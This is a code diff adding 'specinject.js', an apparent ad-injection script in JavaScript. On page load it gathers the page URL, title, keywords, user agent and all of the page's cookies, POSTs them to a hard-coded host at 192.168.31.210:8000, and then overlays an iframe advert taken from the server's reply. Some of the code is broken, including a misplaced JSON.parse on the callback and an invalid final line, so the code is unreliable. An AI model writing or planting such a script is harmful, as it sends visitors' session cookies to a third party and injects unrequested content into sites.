|  | @@ -0,0 +1,129 @@
 | 
	
		
			
				|  |  | +window.SpecInject = {};
 | 
	
		
			
				|  |  | +(function(){
 | 
	
		
			
				|  |  | +    //Change File Name
 | 
	
		
			
				|  |  | +    var protocol = ('https:'==window.location.protocol)?'https://':'http://';
 | 
	
		
			
				|  |  | +    var requestURL = protocol+'192.168.31.210:8000/post';
 | 
	
		
			
				|  |  | +    
 | 
	
		
			
				|  |  | +    var __FILENAME__ = 'specinject.js'
 | 
	
		
			
				|  |  | +    var __FILE__, scripts = document.getElementsByTagName("script");
 | 
	
		
			
				|  |  | +    for(var i=0;i<scripts.length;i++){
 | 
	
		
			
				|  |  | +        var src =scripts.item(i).getAttribute("src");
 | 
	
		
			
				|  |  | +        if(src&&src.match(__FILENAME__)){
 | 
	
		
			
				|  |  | +            __FILE__=src;break;
 | 
	
		
			
				|  |  | +        }
 | 
	
		
			
				|  |  | +    }
 | 
	
		
			
				|  |  | +    if(!__FILE__) return;
 | 
	
		
			
				|  |  | +    var attribute = __FILE__.split('?')[1];
 | 
	
		
			
				|  |  | +    if(!attribute) return;
 | 
	
		
			
				|  |  | +    attribute = attribute.split('&');
 | 
	
		
			
				|  |  | +    var tmpObj = {};
 | 
	
		
			
				|  |  | +    for(var i in attribute){attribute[i]=attribute[i].split('=');tmpObj[attribute[i][0]]=attribute[i][1]};
 | 
	
		
			
				|  |  | +    //Params
 | 
	
		
			
				|  |  | +    var ADID = tmpObj['aid'],
 | 
	
		
			
				|  |  | +        ADTYPE = tmpObj['type'];
 | 
	
		
			
				|  |  | +    if(!ADID || !ADTYPE) return;
 | 
	
		
			
				|  |  | +    var browser={
 | 
	
		
			
				|  |  | +        versions:function(){
 | 
	
		
			
				|  |  | +            var u = navigator.userAgent, app = navigator.appVersion;
 | 
	
		
			
				|  |  | +            return {
 | 
	
		
			
				|  |  | +                mobile: !!u.match(/AppleWebKit.*Mobile.*/), //是否为移动终端
 | 
	
		
			
				|  |  | +                ios: !!u.match(/\(i[^;]+;( U;)? CPU.+Mac OS X/), //ios终端
 | 
	
		
			
				|  |  | +                android: u.indexOf('Android') > -1 || u.indexOf('Linux') > -1, //android终端或者uc浏览器
 | 
	
		
			
				|  |  | +                iPhone: u.indexOf('iPhone') > -1 , //是否为iPhone或者QQHD浏览器
 | 
	
		
			
				|  |  | +                iPad: u.indexOf('iPad') > -1, //是否iPad
 | 
	
		
			
				|  |  | +                webApp: u.indexOf('Safari') == -1, //是否web应该程序,没有头部与底部
 | 
	
		
			
				|  |  | +                weixin: u.indexOf('MicroMessenger') > -1, //是否微信 (2015-01-22新增)
 | 
	
		
			
				|  |  | +                version:u.match(/Version\/(\d+\.+\d+)/)[1]
 | 
	
		
			
				|  |  | +            };
 | 
	
		
			
				|  |  | +        }(),
 | 
	
		
			
				|  |  | +        language:(navigator.browserLanguage || navigator.language).toLowerCase()
 | 
	
		
			
				|  |  | +    }
 | 
	
		
			
				|  |  | +    var keywords = document.querySelector('meta[name=Keywords]')?document.querySelector('meta[name=Keywords]'):document.querySelector('meta[name=keywords]');
 | 
	
		
			
				|  |  | +
 | 
	
		
			
				|  |  | +    var xmlhttp;
 | 
	
		
			
				|  |  | +        xmlhttp = new XMLHttpRequest();
 | 
	
		
			
				|  |  | +
 | 
	
		
			
				|  |  | +    var getJSADParam = {
 | 
	
		
			
				|  |  | +        mediatitle:document.querySelector('title').innerHTML,
 | 
	
		
			
				|  |  | +        mediakeyword:keywords?keywords.getAttribute('content'):'',
 | 
	
		
			
				|  |  | +        mediaurl:window.location.href,
 | 
	
		
			
				|  |  | +        mediakey:ADID,
 | 
	
		
			
				|  |  | +        tertype:browser.versions.ios?1:browser.versions.android?0:2,
 | 
	
		
			
				|  |  | +        useragent:navigator.userAgent,
 | 
	
		
			
				|  |  | +        browserversion:browser.versions.version,
 | 
	
		
			
				|  |  | +        browserlanguage:browser.language,
 | 
	
		
			
				|  |  | +        cookies:JSON.stringify(getCookies())
 | 
	
		
			
				|  |  | +    }
 | 
	
		
			
				|  |  | +    function parseData(obj){
 | 
	
		
			
				|  |  | +        var formData = new FormData();
 | 
	
		
			
				|  |  | +        for(var attr in obj){
 | 
	
		
			
				|  |  | +            formData.append(attr,obj[attr]);
 | 
	
		
			
				|  |  | +        }
 | 
	
		
			
				|  |  | +        return formData;
 | 
	
		
			
				|  |  | +    }
 | 
	
		
			
				|  |  | +    function getADHandler(data){
 | 
	
		
			
				|  |  | +        if(data.status!=1) return;
 | 
	
		
			
				|  |  | +        data = data.data;
 | 
	
		
			
				|  |  | +        if(!data.adurl) return;
 | 
	
		
			
				|  |  | +        var style = document.createElement('style');
 | 
	
		
			
				|  |  | +            style.innerText = '#__ADInject__{position:fixed;z-index:9999;box-sizing:border-box}#__ADInject__.bottom{bottom:5px}#__ADInject__ iframe{position:relative;left:0;right:0;bottom:0;top:0;overflow:hidden;border:none;padding:0;margin:0;z-index:10}#__ADInject__ .__ADInjectClose__{position:absolute;right:0;top:0;display:block;color:#fff;font-size:12px;width:20px;height:20px;line-height:20px;text-align:center;background:rgba(0,0,0,.2);z-index:999}';
 | 
	
		
			
				|  |  | +        var script = document.createElement('script');
 | 
	
		
			
				|  |  | +            script.innerText = 'function __ADInjectFeedback__(){SpecInject.feedback()};function __ADInjectClose__(){document.getElementById("__ADInject__").remove()}';
 | 
	
		
			
				|  |  | +        var doms =  document.createElement('div');
 | 
	
		
			
				|  |  | +            doms.id = '__ADInject__';
 | 
	
		
			
				|  |  | +            doms.innerHTML = '<span class="__ADInjectClose__" onclick="javascript:__ADInjectClose__()">X</span><iframe id="__ADInjectFrame__" src="'+data.adurl+'" />';
 | 
	
		
			
				|  |  | +        document.body.appendChild(style);
 | 
	
		
			
				|  |  | +        document.body.appendChild(script);
 | 
	
		
			
				|  |  | +        document.body.appendChild(doms);
 | 
	
		
			
				|  |  | +    }
 | 
	
		
			
				|  |  | +    //Ajax Post
 | 
	
		
			
				|  |  | +    function post(URL,data,callback){
 | 
	
		
			
				|  |  | +        xmlhttp.open("POST",URL);
 | 
	
		
			
				|  |  | +        xmlhttp.onreadystatechange = function() {
 | 
	
		
			
				|  |  | +            if (xmlhttp.readyState == 4 && xmlhttp.status == 200) {
 | 
	
		
			
				|  |  | +                var reponse = null;
 | 
	
		
			
				|  |  | +                if(xmlhttp.responseText){
 | 
	
		
			
				|  |  | +                    try{
 | 
	
		
			
				|  |  | +                        response = JSON.parse(callback);
 | 
	
		
			
				|  |  | +                    }catch(e){log(e)}
 | 
	
		
			
				|  |  | +                }
 | 
	
		
			
				|  |  | +                callback(response);
 | 
	
		
			
				|  |  | +            }
 | 
	
		
			
				|  |  | +        }
 | 
	
		
			
				|  |  | +        xmlhttp.send(data);
 | 
	
		
			
				|  |  | +    }
 | 
	
		
			
				|  |  | +
 | 
	
		
			
				|  |  | +    //COOKIES get & set
 | 
	
		
			
				|  |  | +    function getCookie(c_name){
 | 
	
		
			
				|  |  | +        if (document.cookie.length>0){
 | 
	
		
			
				|  |  | +            c_start=document.cookie.indexOf(c_name + "=");
 | 
	
		
			
				|  |  | +            if (c_start!=-1){
 | 
	
		
			
				|  |  | +            c_start=c_start + c_name.length+1;
 | 
	
		
			
				|  |  | +            c_end=document.cookie.indexOf(";",c_start);
 | 
	
		
			
				|  |  | +            if (c_end==-1) c_end=document.cookie.length;
 | 
	
		
			
				|  |  | +                return unescape(document.cookie.substring(c_start,c_end));
 | 
	
		
			
				|  |  | +            }
 | 
	
		
			
				|  |  | +        }
 | 
	
		
			
				|  |  | +        return null;
 | 
	
		
			
				|  |  | +    }
 | 
	
		
			
				|  |  | +    function getCookies(){
 | 
	
		
			
				|  |  | +        var obj = {};
 | 
	
		
			
				|  |  | +        if (document.cookie.length>0){
 | 
	
		
			
				|  |  | +            var cookie = document.cookie.split('; ');
 | 
	
		
			
				|  |  | +            for(var i in cookie){
 | 
	
		
			
				|  |  | +                var par = cookie[i].split('=');
 | 
	
		
			
				|  |  | +                obj[par[0]] = par[1];
 | 
	
		
			
				|  |  | +            }
 | 
	
		
			
				|  |  | +        }
 | 
	
		
			
				|  |  | +        return obj;
 | 
	
		
			
				|  |  | +    }
 | 
	
		
			
				|  |  | +    function setCookie(c_name,c_value,c_exp){
 | 
	
		
			
				|  |  | +        var exp = c_exp?';expires='+c_exp:'';
 | 
	
		
			
				|  |  | +        document.cookie = c_name+'='+c_value+exp+';path=/';
 | 
	
		
			
				|  |  | +    }
 | 
	
		
			
				|  |  | +
 | 
	
		
			
				|  |  | +    post(requestURL,parseData(getJSADParam),getADHandler);
 | 
	
		
			
				|  |  | +    window.SpecInject.prototype.feedback(action)(){
 | 
	
		
			
				|  |  | +
 | 
	
		
			
				|  |  | +    }
 | 
	
		
			
				|  |  | +})();
 |